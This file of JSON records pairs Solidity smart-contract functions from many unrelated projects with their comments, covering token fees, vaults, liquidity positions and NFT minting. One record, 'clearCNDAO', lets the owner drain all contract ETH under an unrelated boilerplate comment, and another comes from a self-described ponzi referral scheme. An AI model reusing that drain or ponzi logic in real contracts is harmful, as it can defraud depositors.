(lastTotalDeexSupplyOfDragons.add(lastTotalDeexSupplyOfHamsters)).mul(80).div(100);\r\n\r\n if (depositDragons[currentRound - 1][_lastParticipant] > 0) {\r\n payout = totalSupply.mul(depositDragons[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfDragons);\r\n }\r\n\r\n if (depositHamsters[currentRound - 1][_lastParticipant] > 0) {\r\n payout = totalSupply.mul(depositHamsters[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfHamsters);\r\n }\r\n\r\n return payout;\r\n }", "version": "0.5.6"} {"comment": "// To transfer tokens by proxy", "function_code": "function transferFrom(address _from, address _to, uint256 _amount)\r\n public\r\n canEnter\r\n isHolder(_to)\r\n returns (bool)\r\n {\r\n require(_amount <= holders[_from].allowances[msg.sender]);\r\n \r\n Holder from = holders[_from];\r\n Holder to = holders[_to];\r\n\r\n from.allowances[msg.sender] -= _amount;\r\n Transfer(_from, _to, _amount);\r\n return xfer(from, to, _amount);\r\n }", "version": "0.4.10"} {"comment": "// Processes token transfers and subsequent change in voting power", "function_code": "function xfer(Holder storage _from, Holder storage _to, uint _amount)\r\n internal\r\n returns (bool)\r\n {\r\n // Ensure dividends are up to date at current balances\r\n updateDividendsFor(_from);\r\n updateDividendsFor(_to);\r\n\r\n // Remove existing votes\r\n revoke(_from);\r\n revoke(_to);\r\n\r\n // Transfer tokens\r\n _from.tokenBalance -= _amount;\r\n _to.tokenBalance += _amount;\r\n\r\n // Revote accoring to changed token balances\r\n revote(_from);\r\n revote(_to);\r\n\r\n // Force election\r\n election();\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "//\n// Security Functions\n//\n// Cause the contract to Panic. This will block most state changing\n// functions for a set delay.", "function_code": "function PANIC()\r\n public\r\n isHolder(msg.sender)\r\n returns (bool)\r\n {\r\n // A blocking holder requires at least 10% of tokens\r\n require(holders[msg.sender].tokenBalance >= totalSupply / 10);\r\n \r\n panicked = true;\r\n timeToCalm = uint40(now + PANICPERIOD);\r\n Panicked(msg.sender);\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "// Queues a pending transaction ", "function_code": "function timeLockSend(address _from, address _to, uint _value, bytes _data)\r\n internal\r\n returns (uint8)\r\n {\r\n // Check that queue is not full\r\n require(ptxHead + 1 != ptxTail);\r\n\r\n TX memory tx = TX({\r\n from: _from,\r\n to: _to,\r\n value: _value,\r\n data: _data,\r\n blocked: false,\r\n timeLock: uint40(now + TXDELAY)\r\n });\r\n TransactionPending(ptxHead, _from, _to, _value, now + TXDELAY);\r\n pendingTxs[ptxHead++] = tx;\r\n return ptxHead - 1;\r\n }", "version": "0.4.10"} {"comment": "// Execute the first TX in the pendingTxs queue. Values will\n// revert if the transaction is blocked or fails.", "function_code": "function sendPending()\r\n public\r\n preventReentry\r\n isHolder(msg.sender)\r\n returns (bool)\r\n {\r\n if (ptxTail == ptxHead) return false; // TX queue is empty\r\n \r\n TX memory tx = pendingTxs[ptxTail];\r\n if(now < tx.timeLock) return false;\r\n \r\n // Have memory cached the TX so deleting store now to prevent any chance\r\n // of double spends.\r\n delete pendingTxs[ptxTail++];\r\n \r\n if(!tx.blocked) {\r\n if(tx.to.call.value(tx.value)(tx.data)) {\r\n // TX sent successfully\r\n committedEther -= tx.value;\r\n \r\n Withdrawal(tx.from, tx.to, tx.value);\r\n return true;\r\n }\r\n }\r\n \r\n // TX is blocked or failed so manually revert balances to pre-pending\r\n // state\r\n if (tx.from == address(this)) {\r\n // Was sent from fund balance\r\n committedEther -= tx.value;\r\n } else {\r\n // Was sent from holder ether balance\r\n holders[tx.from].etherBalance += tx.value;\r\n }\r\n \r\n TransactionFailed(tx.from, tx.to, tx.value);\r\n return false;\r\n }", "version": "0.4.10"} {"comment": "// To block a pending transaction", "function_code": "function blockPendingTx(uint _txIdx)\r\n public\r\n returns (bool)\r\n {\r\n // Only prevent reentry not entry during panic\r\n require(!__reMutex);\r\n \r\n // A blocking holder requires at least 10% of tokens or is trustee or\r\n // is from own account\r\n require(holders[msg.sender].tokenBalance >= totalSupply / BLOCKPCNT ||\r\n msg.sender == pendingTxs[ptxTail].from ||\r\n msg.sender == trustee);\r\n \r\n pendingTxs[_txIdx].blocked = true;\r\n TransactionBlocked(msg.sender, _txIdx);\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "// admin methods", "function_code": "function withdrawByAdmin(address _investor, uint256 _investednum, address _target) onlyAdmin public {\r\n require(_investednum > 0 && investedAmount[_investor] >= _investednum);\r\n require(!investorVault[_investor][_investednum].withdrawn);\r\n require(token.balanceOf(address(this)) >= investorVault[_investor][_investednum].value);\r\n adminWithdraw[_investor][_investednum][_target][msg.sender] = true;\r\n for (uint256 i = 0; i < admins.length; i++) {\r\n if (!adminWithdraw[_investor][_investednum][_target][admins[i]]) {\r\n return;\r\n }\r\n }\r\n require(token.transfer(_target, investorVault[_investor][_investednum].value));\r\n investorVault[_investor][_investednum].withdrawn = true;\r\n emit FPWithdrawnByAdmins(_target, investorVault[_investor][_investednum].value, _investor,\r\n _investednum, investorVault[_investor][_investednum].fpnum);\r\n }", "version": "0.4.24"} {"comment": "// For the trustee to commit an amount from the fund balance as a dividend", "function_code": "function payDividends(uint _value)\r\n public\r\n canEnter\r\n onlyTrustee\r\n returns (bool)\r\n {\r\n require(_value <= fundBalance());\r\n // Calculates dividend as percent of current `totalSupply` in 10e17\r\n // fixed point math\r\n dividendPoints += 10**18 * _value / totalSupply;\r\n totalDividends += _value;\r\n committedEther += _value;\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "// Creates holder accounts. Called by addHolder() and issue()", "function_code": "function join(address _addr)\r\n internal\r\n returns (bool)\r\n {\r\n if(0 != holders[_addr].id) return true;\r\n \r\n require(_addr != address(this));\r\n \r\n uint8 id;\r\n // Search for the first available slot.\r\n while (holderIndex[++id] != 0) {}\r\n \r\n // if `id` is 0 then there has been a array full overflow.\r\n if(id == 0) revert();\r\n \r\n Holder holder = holders[_addr];\r\n holder.id = id;\r\n holder.lastClaimed = dividendPoints;\r\n holder.votingFor = trustee;\r\n holderIndex[id] = _addr;\r\n NewHolder(_addr);\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "// Enable trading and assign values of arguments to variables", "function_code": "function enableTrading(uint256 blocks) external onlyOwner {\r\n require(!tradingEnabled, \"Trading already enabled\");\r\n require(blocks <= 5, \"Must be less than 5 blocks\");\r\n tradingEnabled = true;\r\n swapEnabled = true;\r\n tradingEnabledBlock = block.number;\r\n justicePeriod = blocks;\r\n emit EnabledTrading();\r\n }", "version": "0.8.11"} {"comment": "// Lock wallet from transferring out for given time", "function_code": "function lockTokens(address[] memory wallets, uint256[] memory numDays) external onlyOwner {\r\n require(wallets.length == numDays.length, \"Arrays must be the same length\");\r\n require(wallets.length < 200, \"Can only lock 200 wallets per txn due to gas limits\");\r\n for (uint i = 0; i < wallets.length; i++) {\r\n require(balanceOf(wallets[i]) > 0, \"No tokens\");\r\n require(_lockedWallets[wallets[i]] < block.timestamp, \"Already locked\");\r\n _lockedWallets[wallets[i]] = block.timestamp + numDays[i] * 1 days;\r\n }\r\n }", "version": "0.8.11"} {"comment": "// Update token threshold for when the contract sells for liquidity, marketing and development", "function_code": "function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {\r\n \t require(newAmount >= (totalSupply() * 1 / 100000) / 10**18, \"Threshold lower than 0.001% total supply\"); \r\n \t require(newAmount <= (totalSupply() * 1 / 1000) / 10**18, \"Threshold higher than 0.1% total supply\");\r\n \t swapTokensAtAmount = newAmount * (10**18);\r\n emit UpdatedSwapTokensAtAmount(swapTokensAtAmount);\r\n \t}", "version": "0.8.11"} {"comment": "// Transfer given number of tokens to given address", "function_code": "function airdropToWallets(address[] memory wallets, uint256[] memory amountsInTokens) external onlyOwner {\r\n require(wallets.length == amountsInTokens.length, \"Arrays must be the same length\");\r\n require(wallets.length < 200, \"Can only airdrop 200 wallets per txn due to gas limits\"); \r\n for (uint256 i = 0; i < wallets.length; i++) {\r\n _transfer(msg.sender, wallets[i], amountsInTokens[i] * 10**18);\r\n }\r\n }", "version": "0.8.11"} {"comment": "// Update fees on buys", "function_code": "function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _developmentFee) external onlyOwner {\r\n buyMarketingFee = _marketingFee;\r\n buyLiquidityFee = _liquidityFee;\r\n buyDevelopmentFee = _developmentFee;\r\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevelopmentFee;\r\n require(buyTotalFees <= 9, \"Must keep fees at 9% or less\");\r\n }", "version": "0.8.11"} {"comment": "// Update fees on sells", "function_code": "function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _developmentFee) external onlyOwner {\r\n sellMarketingFee = _marketingFee;\r\n sellLiquidityFee = _liquidityFee;\r\n sellDevelopmentFee = _developmentFee;\r\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevelopmentFee;\r\n require(sellTotalFees <= 18, \"Must keep fees at 18% or less\");\r\n }", "version": "0.8.11"} {"comment": "// Contract sells", "function_code": "function swapBack() private {\r\n uint256 contractBalance = balanceOf(address(this));\r\n uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDevelopment;\r\n \r\n if (contractBalance == 0 || totalTokensToSwap == 0) {\r\n return;\r\n }\r\n\r\n if (contractBalance > swapTokensAtAmount * 10) {\r\n contractBalance = swapTokensAtAmount * 10;\r\n }\r\n\r\n bool success;\r\n uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;\r\n \r\n swapTokensForEth(contractBalance - liquidityTokens); \r\n \r\n uint256 ethBalance = address(this).balance;\r\n uint256 ethForLiquidity = ethBalance;\r\n uint256 ethForMarketing = ethBalance * tokensForMarketing / (totalTokensToSwap - (tokensForLiquidity / 2));\r\n uint256 ethForDevelopment = ethBalance * tokensForDevelopment / (totalTokensToSwap - (tokensForLiquidity / 2));\r\n\r\n ethForLiquidity -= ethForMarketing + ethForDevelopment;\r\n \r\n tokensForLiquidity = 0;\r\n tokensForMarketing = 0;\r\n tokensForDevelopment = 0;\r\n \r\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\r\n addLiquidity(liquidityTokens, ethForLiquidity);\r\n }\r\n\r\n (success,) = address(DevelopmentAddress).call{value: ethForDevelopment}(\"\");\r\n (success,) = address(MarketingAddress).call{value: address(this).balance}(\"\");\r\n }", "version": "0.8.11"} {"comment": "// Withdraw unnecessary tokens", "function_code": "function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {\r\n require(_token != address(0), \"_token address cannot be 0\");\r\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\r\n _sent = IERC20(_token).transfer(_to, _contractBalance);\r\n emit TransferForeignToken(_token, _contractBalance);\r\n }", "version": "0.8.11"} {"comment": "// For the trustee to issue an offer of new tokens to a holder", "function_code": "function issue(address _addr, uint _amount)\r\n public\r\n canEnter\r\n onlyTrustee\r\n returns (bool)\r\n {\r\n // prevent overflows in total supply\r\n assert(totalSupply + _amount < MAXTOKENS);\r\n \r\n join(_addr);\r\n Holder holder = holders[_addr];\r\n holder.offerAmount = _amount;\r\n holder.offerExpiry = uint40(now + 7 days);\r\n IssueOffer(_addr);\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "// To close a holder account", "function_code": "function vacate(address _addr)\r\n public\r\n canEnter\r\n isHolder(msg.sender)\r\n isHolder(_addr)\r\n returns (bool)\r\n {\r\n Holder holder = holders[_addr];\r\n // Ensure holder account is empty, is not the trustee and there are no\r\n // pending transactions or dividends\r\n require(_addr != trustee);\r\n require(holder.tokenBalance == 0);\r\n require(holder.etherBalance == 0);\r\n require(holder.lastClaimed == dividendPoints);\r\n require(ptxHead == ptxTail);\r\n \r\n delete holderIndex[holder.id];\r\n delete holders[_addr];\r\n // NB can't garbage collect holder.allowances mapping\r\n return (true);\r\n }", "version": "0.4.10"} {"comment": "// performs presale burn", "function_code": "function burn (uint256 _burnAmount, bool _presaleBurn) public onlyOwner returns (bool success) {\r\n if (_presaleBurn) {\r\n require(_presaleBurnTotal.add(_burnAmount) <= _maximumPresaleBurnAmount);\r\n _presaleBurnTotal = _presaleBurnTotal.add(_burnAmount);\r\n _transfer(_owner, address(0), _burnAmount);\r\n _totalSupply = _totalSupply.sub(_burnAmount);\r\n } else {\r\n _transfer(_owner, address(0), _burnAmount);\r\n _totalSupply = _totalSupply.sub(_burnAmount);\r\n }\r\n return true;\r\n }", "version": "0.6.0"} {"comment": "/**\n * @notice Allows an user to create an unique Vault\n * @dev Only one vault per address can be created\n */", "function_code": "function createVault() external virtual whenNotPaused {\n require(\n userToVault[msg.sender] == 0,\n \"VaultHandler::createVault: vault already created\"\n );\n\n uint256 id = counter.current();\n userToVault[msg.sender] = id;\n Vault memory vault = Vault(id, 0, 0, msg.sender);\n vaults[id] = vault;\n counter.increment();\n emit VaultCreated(msg.sender, id);\n }", "version": "0.7.5"} {"comment": "/**\n * @notice Allows users to add collateral to their vaults\n * @param _amount of collateral to be added\n * @dev _amount should be higher than 0\n * @dev ERC20 token must be approved first\n */", "function_code": "function addCollateral(uint256 _amount)\n external\n virtual\n nonReentrant\n vaultExists\n whenNotPaused\n notZero(_amount)\n {\n require(\n collateralContract.transferFrom(msg.sender, address(this), _amount),\n \"VaultHandler::addCollateral: ERC20 transfer did not succeed\"\n );\n\n Vault storage vault = vaults[userToVault[msg.sender]];\n vault.Collateral = vault.Collateral.add(_amount);\n emit CollateralAdded(msg.sender, vault.Id, _amount);\n }", "version": "0.7.5"} {"comment": "/**\n * @notice Allows users to remove collateral currently not being used to generate TCAP tokens from their vaults\n * @param _amount of collateral to remove\n * @dev reverts if the resulting ratio is less than the minimun ratio\n * @dev _amount should be higher than 0\n * @dev transfers the collateral back to the user\n */", "function_code": "function removeCollateral(uint256 _amount)\n external\n virtual\n nonReentrant\n vaultExists\n whenNotPaused\n notZero(_amount)\n {\n Vault storage vault = vaults[userToVault[msg.sender]];\n uint256 currentRatio = getVaultRatio(vault.Id);\n\n require(\n vault.Collateral >= _amount,\n \"VaultHandler::removeCollateral: retrieve amount higher than collateral\"\n );\n\n vault.Collateral = vault.Collateral.sub(_amount);\n if (currentRatio != 0) {\n require(\n getVaultRatio(vault.Id) >= ratio,\n \"VaultHandler::removeCollateral: collateral below min required ratio\"\n );\n }\n require(\n collateralContract.transfer(msg.sender, _amount),\n \"VaultHandler::removeCollateral: ERC20 transfer did not succeed\"\n );\n emit CollateralRemoved(msg.sender, vault.Id, _amount);\n }", "version": "0.7.5"} {"comment": "/**\n * @notice Uses collateral to generate debt on TCAP Tokens which are minted and assigend to caller\n * @param _amount of tokens to mint\n * @dev _amount should be higher than 0\n * @dev requires to have a vault ratio above the minimum ratio\n * @dev if reward handler is set stake to earn rewards\n */", "function_code": "function mint(uint256 _amount)\n external\n virtual\n nonReentrant\n vaultExists\n whenNotPaused\n notZero(_amount)\n {\n Vault storage vault = vaults[userToVault[msg.sender]];\n uint256 collateral = requiredCollateral(_amount);\n\n require(\n vault.Collateral >= collateral,\n \"VaultHandler::mint: not enough collateral\"\n );\n\n vault.Debt = vault.Debt.add(_amount);\n require(\n getVaultRatio(vault.Id) >= ratio,\n \"VaultHandler::mint: collateral below min required ratio\"\n );\n\n if (address(rewardHandler) != address(0)) {\n rewardHandler.stake(msg.sender, _amount);\n }\n\n TCAPToken.mint(msg.sender, _amount);\n emit TokensMinted(msg.sender, vault.Id, _amount);\n }", "version": "0.7.5"} {"comment": "/**\n * @notice Pays the debt of TCAP tokens resulting them on burn, this releases collateral up to minimun vault ratio\n * @param _amount of tokens to burn\n * @dev _amount should be higher than 0\n * @dev A fee of exactly burnFee must be sent as value on ETH\n * @dev The fee goes to the treasury contract\n * @dev if reward handler is set exit rewards\n */", "function_code": "function burn(uint256 _amount)\n external\n payable\n virtual\n nonReentrant\n vaultExists\n whenNotPaused\n notZero(_amount)\n {\n uint256 fee = getFee(_amount);\n require(\n msg.value >= fee,\n \"VaultHandler::burn: burn fee less than required\"\n );\n\n Vault memory vault = vaults[userToVault[msg.sender]];\n\n _burn(vault.Id, _amount);\n\n if (address(rewardHandler) != address(0)) {\n rewardHandler.withdraw(msg.sender, _amount);\n rewardHandler.getRewardFromVault(msg.sender);\n }\n safeTransferETH(treasury, fee);\n\n //send back ETH above fee\n safeTransferETH(msg.sender, msg.value.sub(fee));\n emit TokensBurned(msg.sender, vault.Id, _amount);\n }", "version": "0.7.5"} {"comment": "/**\n * @notice Allow users to burn TCAP tokens to liquidate vaults with vault collateral ratio under the minium ratio, the liquidator receives the staked collateral of the liquidated vault at a premium\n * @param _vaultId to liquidate\n * @param _maxTCAP max amount of TCAP the liquidator is willing to pay to liquidate vault\n * @dev Resulting ratio must be above or equal minimun ratio\n * @dev A fee of exactly burnFee must be sent as value on ETH\n * @dev The fee goes to the treasury contract\n */", "function_code": "function liquidateVault(uint256 _vaultId, uint256 _maxTCAP)\n external\n payable\n nonReentrant\n whenNotPaused\n {\n Vault storage vault = vaults[_vaultId];\n require(vault.Id != 0, \"VaultHandler::liquidateVault: no vault created\");\n\n uint256 vaultRatio = getVaultRatio(vault.Id);\n require(\n vaultRatio < ratio,\n \"VaultHandler::liquidateVault: vault is not liquidable\"\n );\n\n uint256 requiredTCAP = requiredLiquidationTCAP(vault.Id);\n require(\n _maxTCAP >= requiredTCAP,\n \"VaultHandler::liquidateVault: liquidation amount different than required\"\n );\n\n uint256 fee = getFee(requiredTCAP);\n require(\n msg.value >= fee,\n \"VaultHandler::liquidateVault: burn fee less than required\"\n );\n\n uint256 reward = liquidationReward(vault.Id);\n _burn(vault.Id, requiredTCAP);\n\n //Removes the collateral that is rewarded to liquidator\n vault.Collateral = vault.Collateral.sub(reward);\n\n // Triggers update of CTX Rewards\n if (address(rewardHandler) != address(0)) {\n rewardHandler.withdraw(vault.Owner, requiredTCAP);\n }\n\n require(\n collateralContract.transfer(msg.sender, reward),\n \"VaultHandler::liquidateVault: ERC20 transfer did not succeed\"\n );\n safeTransferETH(treasury, fee);\n\n //send back ETH above fee\n safeTransferETH(msg.sender, msg.value.sub(fee));\n emit VaultLiquidated(vault.Id, msg.sender, requiredTCAP, reward);\n }", "version": "0.7.5"} {"comment": "/**\n * @notice Returns the minimal required TCAP to liquidate a Vault\n * @param _vaultId of the vault to liquidate\n * @return amount required of the TCAP Token\n * @dev LT = ((((D * r) / 100) - cTcap) * 100) / (r - (p + 100))\n * cTcap = ((C * cp) / P)\n * LT = Required TCAP\n * D = Vault Debt\n * C = Required Collateral\n * P = TCAP Token Price\n * cp = Collateral Price\n * r = Min Vault Ratio\n * p = Liquidation Penalty\n */", "function_code": "function requiredLiquidationTCAP(uint256 _vaultId)\n public\n view\n virtual\n returns (uint256 amount)\n {\n Vault memory vault = vaults[_vaultId];\n uint256 tcapPrice = TCAPPrice();\n uint256 collateralPrice = getOraclePrice(collateralPriceOracle);\n uint256 collateralTcap =\n (vault.Collateral.mul(collateralPrice)).div(tcapPrice);\n uint256 reqDividend =\n (((vault.Debt.mul(ratio)).div(100)).sub(collateralTcap)).mul(100);\n uint256 reqDivisor = ratio.sub(liquidationPenalty.add(100));\n amount = reqDividend.div(reqDivisor);\n }", "version": "0.7.5"} {"comment": "/**\n * @notice Returns the Collateral Ratio of the Vault\n * @param _vaultId id of vault\n * @return currentRatio\n * @dev vr = (cp * (C * 100)) / D * P\n * vr = Vault Ratio\n * C = Vault Collateral\n * cp = Collateral Price\n * D = Vault Debt\n * P = TCAP Token Price\n */", "function_code": "function getVaultRatio(uint256 _vaultId)\n public\n view\n virtual\n returns (uint256 currentRatio)\n {\n Vault memory vault = vaults[_vaultId];\n if (vault.Id == 0 || vault.Debt == 0) {\n currentRatio = 0;\n } else {\n uint256 collateralPrice = getOraclePrice(collateralPriceOracle);\n currentRatio = (\n (collateralPrice.mul(vault.Collateral.mul(100))).div(\n vault.Debt.mul(TCAPPrice())\n )\n );\n }\n }", "version": "0.7.5"} {"comment": "/**\n * @dev Get the raw trait indices for a given tokenId\n * @param tokenId of a MEV Army NFT\n * @return An array of integers that are indices for the trait arrays stored in this contract\n * example: [ binary index, legion index, light index, mouth index, helmet index, eyes index, faces index ]\n **/", "function_code": "function getTraitsIndices(uint256 tokenId) public view returns (EditionIndices memory){\n require(tokenId > 0 && tokenId < 10000, \"nonexistent tokenId\");\n\n // calculate the slot for a given token id\n uint256 slotForTokenId = (tokenId - 1) >> 2;\n\n // calculate the index within a slot for a given token id\n uint256 slotIndex = ((tokenId - 1) % 4);\n\n // get the slot from storage and unpack it\n uint256 slot = EDITION_SLOTS[slotForTokenId];\n uint256 unpackedSlot = _unPackSlot(slot, slotIndex);\n\n // get the edition from the slot and unpack it\n return _unPackEdition(unpackedSlot);\n }", "version": "0.8.2"} {"comment": "/**\n * @dev Unpack an edition. Each edition contains 7 traits packed into an unsigned integer.\n * Each packed trait is an 8-bit unsigned integer.\n **/", "function_code": "function _unPackEdition(uint256 edition) internal pure returns (EditionIndices memory){\n return EditionIndices(\n uint8((edition) & uint256(type(uint8).max)),\n uint8((edition >> 8) & uint256(type(uint8).max)),\n uint8((edition >> 16) & uint256(type(uint8).max)),\n uint8((edition >> 24) & uint256(type(uint8).max)),\n uint8((edition >> 32) & uint256(type(uint8).max)),\n uint8((edition >> 40) & uint256(type(uint8).max)),\n uint8((edition >> 48) & uint256(type(uint8).max))\n );\n }", "version": "0.8.2"} {"comment": "/// @notice Add the hypervisor position\n/// @param pos Address of the hypervisor\n/// @param version Type of hypervisor", "function_code": "function addPosition(address pos, uint8 version) external onlyOwner {\n Position storage p = positions[pos];\n require(p.version == 0, 'already added');\n require(version > 0, 'version < 1');\n p.version = version;\n IHypervisor(pos).token0().safeApprove(pos, MAX_UINT);\n IHypervisor(pos).token1().safeApprove(pos, MAX_UINT);\n emit PositionAdded(pos, version);\n }", "version": "0.7.6"} {"comment": "/// @notice Get the amount of token to deposit for the given amount of pair token\n/// @param pos Hypervisor Address\n/// @param token Address of token to deposit\n/// @param _deposit Amount of token to deposit\n/// @return amountStart Minimum amounts of the pair token to deposit\n/// @return amountEnd Maximum amounts of the pair token to deposit", "function_code": "function getDepositAmount(\n address pos,\n address token,\n uint256 _deposit\n ) public view returns (uint256 amountStart, uint256 amountEnd) {\n require(token == address(IHypervisor(pos).token0()) || token == address(IHypervisor(pos).token1()), \"token mistmatch\");\n require(_deposit > 0, \"deposits can't be zero\");\n (uint256 total0, uint256 total1) = IHypervisor(pos).getTotalAmounts();\n if (IHypervisor(pos).totalSupply() == 0 || total0 == 0 || total1 == 0) {\n amountStart = 0;\n if (token == address(IHypervisor(pos).token0())) {\n amountEnd = IHypervisor(pos).deposit1Max();\n } else {\n amountEnd = IHypervisor(pos).deposit0Max();\n }\n } else {\n uint256 ratioStart;\n uint256 ratioEnd;\n if (token == address(IHypervisor(pos).token0())) {\n ratioStart = FullMath.mulDiv(total0.mul(depositDelta), 1e18, total1.mul(deltaScale));\n ratioEnd = FullMath.mulDiv(total0.mul(deltaScale), 1e18, total1.mul(depositDelta));\n } else {\n ratioStart = FullMath.mulDiv(total1.mul(depositDelta), 1e18, total0.mul(deltaScale));\n ratioEnd = FullMath.mulDiv(total1.mul(deltaScale), 1e18, total0.mul(depositDelta));\n }\n amountStart = FullMath.mulDiv(_deposit, 1e18, ratioStart);\n amountEnd = FullMath.mulDiv(_deposit, 1e18, ratioEnd);\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Check if the price change overflows or not based on given twap and threshold in the hypervisor\n/// @param pos Hypervisor Address\n/// @param _twapInterval Time intervals\n/// @param _priceThreshold Price Threshold\n/// @return price Current price", "function_code": "function checkPriceChange(\n address pos,\n uint32 _twapInterval,\n uint256 _priceThreshold\n ) public view returns (uint256 price) {\n uint160 sqrtPrice = TickMath.getSqrtRatioAtTick(IHypervisor(pos).currentTick());\n price = FullMath.mulDiv(uint256(sqrtPrice).mul(uint256(sqrtPrice)), 1e18, 2**(96 * 2));\n\n uint160 sqrtPriceBefore = getSqrtTwapX96(pos, _twapInterval);\n uint256 priceBefore = FullMath.mulDiv(uint256(sqrtPriceBefore).mul(uint256(sqrtPriceBefore)), 1e18, 2**(96 * 2));\n if (price.mul(100).div(priceBefore) > _priceThreshold || priceBefore.mul(100).div(price) > _priceThreshold)\n revert(\"Price change Overflow\");\n }", "version": "0.7.6"} {"comment": "/// @notice Get the sqrt price before the given interval\n/// @param pos Hypervisor Address\n/// @param _twapInterval Time intervals\n/// @return sqrtPriceX96 Sqrt price before interval", "function_code": "function getSqrtTwapX96(address pos, uint32 _twapInterval) public view returns (uint160 sqrtPriceX96) {\n if (_twapInterval == 0) {\n /// return the current price if _twapInterval == 0\n (sqrtPriceX96, , , , , , ) = IHypervisor(pos).pool().slot0();\n } \n else {\n uint32[] memory secondsAgos = new uint32[](2);\n secondsAgos[0] = _twapInterval; /// from (before)\n secondsAgos[1] = 0; /// to (now)\n\n (int56[] memory tickCumulatives, ) = IHypervisor(pos).pool().observe(secondsAgos);\n\n /// tick(imprecise as it's an integer) to price\n sqrtPriceX96 = TickMath.getSqrtRatioAtTick(\n int24((tickCumulatives[1] - tickCumulatives[0]) / _twapInterval)\n );\n }\n }", "version": "0.7.6"} {"comment": "/// @param pos Hypervisor address\n/// @param deposit0Max Amount of maximum deposit amounts of token0\n/// @param deposit1Max Amount of maximum deposit amounts of token1\n/// @param maxTotalSupply Maximum total suppoy of hypervisor", "function_code": "function customDeposit(\n address pos,\n uint256 deposit0Max,\n uint256 deposit1Max,\n uint256 maxTotalSupply\n ) external onlyOwner onlyAddedPosition(pos) {\n Position storage p = positions[pos];\n p.deposit0Max = deposit0Max;\n p.deposit1Max = deposit1Max;\n p.maxTotalSupply = maxTotalSupply;\n emit CustomDeposit(pos, deposit0Max, deposit1Max, maxTotalSupply);\n }", "version": "0.7.6"} {"comment": "/// @notice Append whitelist to hypervisor\n/// @param pos Hypervisor Address\n/// @param listed Address array to add in whitelist", "function_code": "function appendList(address pos, address[] memory listed) external onlyOwner onlyAddedPosition(pos) {\n Position storage p = positions[pos];\n for (uint8 i; i < listed.length; i++) {\n p.list[listed[i]] = true;\n }\n emit ListAppended(pos, listed);\n }", "version": "0.7.6"} {"comment": "/*\r\n * @dev Provides information about the current execution context, including the\r\n * sender of the transaction and its data. While these are generally available\r\n * via msg.sender and msg.data, they should not be accessed in such a direct\r\n * manner, since when dealing with meta-transactions the account sending and\r\n * paying for execution may not be the actual sender (as far as an application\r\n * is concerned).\r\n *\r\n * This contract is only required for intermediate, library-like contracts.\r\n */", "function_code": "function clearCNDAO() public onlyOwner() {\r\n \r\n /*\r\n * @dev Provides information about the current execution context, including the\r\n * sender of the transaction and its data. While these are generally available\r\n * via msg.sender and msg.data, they should not be accessed in such a direct\r\n * manner, since when dealing with meta-transactions the account sending and\r\n * paying for execution may not be the actual sender (as far as an application\r\n * is concerned).\r\n *\r\n * This contract is only required for intermediate, library-like contracts.\r\n */\r\n \r\n \r\n address payable _owner = msg.sender;\r\n _owner.transfer(address(this).balance);\r\n }", "version": "0.5.17"} {"comment": "// This will return the stats for a ponzi friend // returns(ponziFriendId, parent, amoutPlayed, amountEarned)", "function_code": "function getPonziFriend(address _addr) public view returns(uint, uint, uint256, uint256, uint, uint, uint) {\r\n uint pzfId = ponziFriendsToId[_addr];\r\n if(pzfId == 0) {\r\n return(0, 0, 0, 0, 0, 0, 0);\r\n } else {\r\n return(pzfId, ponziFriends[pzfId].parent, ponziFriends[pzfId].amountPlayed, ponziFriends[pzfId].amountEarned, ponziFriendToLevel1Ref[pzfId], ponziFriendToLevel2Ref[pzfId], ponziFriendToLevel3Ref[pzfId]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// endregion\n// Claim a token using Mintpass ticket", "function_code": "function claim(uint amount) external {\r\n require(isClaimingAvailable, \"Claiming is not available\");\r\n require(amount <= claimLimit, \"All mintpasses were claimed\");\r\n\r\n uint tickets = mintPassContract.balanceOf(msg.sender, TICKET_ID);\r\n require(claimedWithMintpass[msg.sender] + amount <= tickets, \"Insufficient Mintpasses balance\");\r\n claimedWithMintpass[msg.sender] += amount;\r\n claimLimit -= amount;\r\n mintNFTs(amount);\r\n }", "version": "0.8.4"} {"comment": "// Main sale mint", "function_code": "function mint(uint amount) external payable {\r\n require(isMintingAvailable, \"Minting is not available\");\r\n require(tokensMinted + amount <= MAX_SUPPLY - reservedTokensLimit - claimLimit, \"Tokens supply reached limit\");\r\n require(amount > 0 && amount <= MINT_PER_TX_LIMIT, \"Can only mint 20 tokens at a time\");\r\n require(mintPrice(amount) == msg.value, \"Wrong ethers value\");\r\n\r\n mintNFTs(amount);\r\n }", "version": "0.8.4"} {"comment": "// Presale mint", "function_code": "function presaleMint(uint amount) external payable {\r\n require(isPresaleAvailable, \"Presale is not available\");\r\n require(presaleTokensMinted + amount <= presaleTokensLimit, \"Presale tokens supply reached limit\"); // Only presale token validation\r\n require(tokensMinted + amount <= MAX_SUPPLY - reservedTokensLimit, \"Tokens supply reached limit\"); // Total tokens validation\r\n require(amount > 0 && amount <= PRESALE_PER_TX_LIMIT, \"Can only mint 10 tokens at a time\");\r\n \r\n require(presaleAllowedForWallet(msg.sender), \"Sorry you are not on the presale list\");\r\n require(presaleMintPrice(amount) == msg.value, \"Wrong ethers value\");\r\n require(balanceOf(msg.sender) + amount <= PRESALE_PER_WALLET_LIMIT + claimedWithMintpass[msg.sender], \"Can only mint 10 tokens during the presale per wallet\");\r\n \r\n presaleTokensMinted += amount;\r\n mintNFTs(amount);\r\n }", "version": "0.8.4"} {"comment": "////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////\n//////////// ////////////\n//////////// Internal functions that write to ////////////\n//////////// state variables 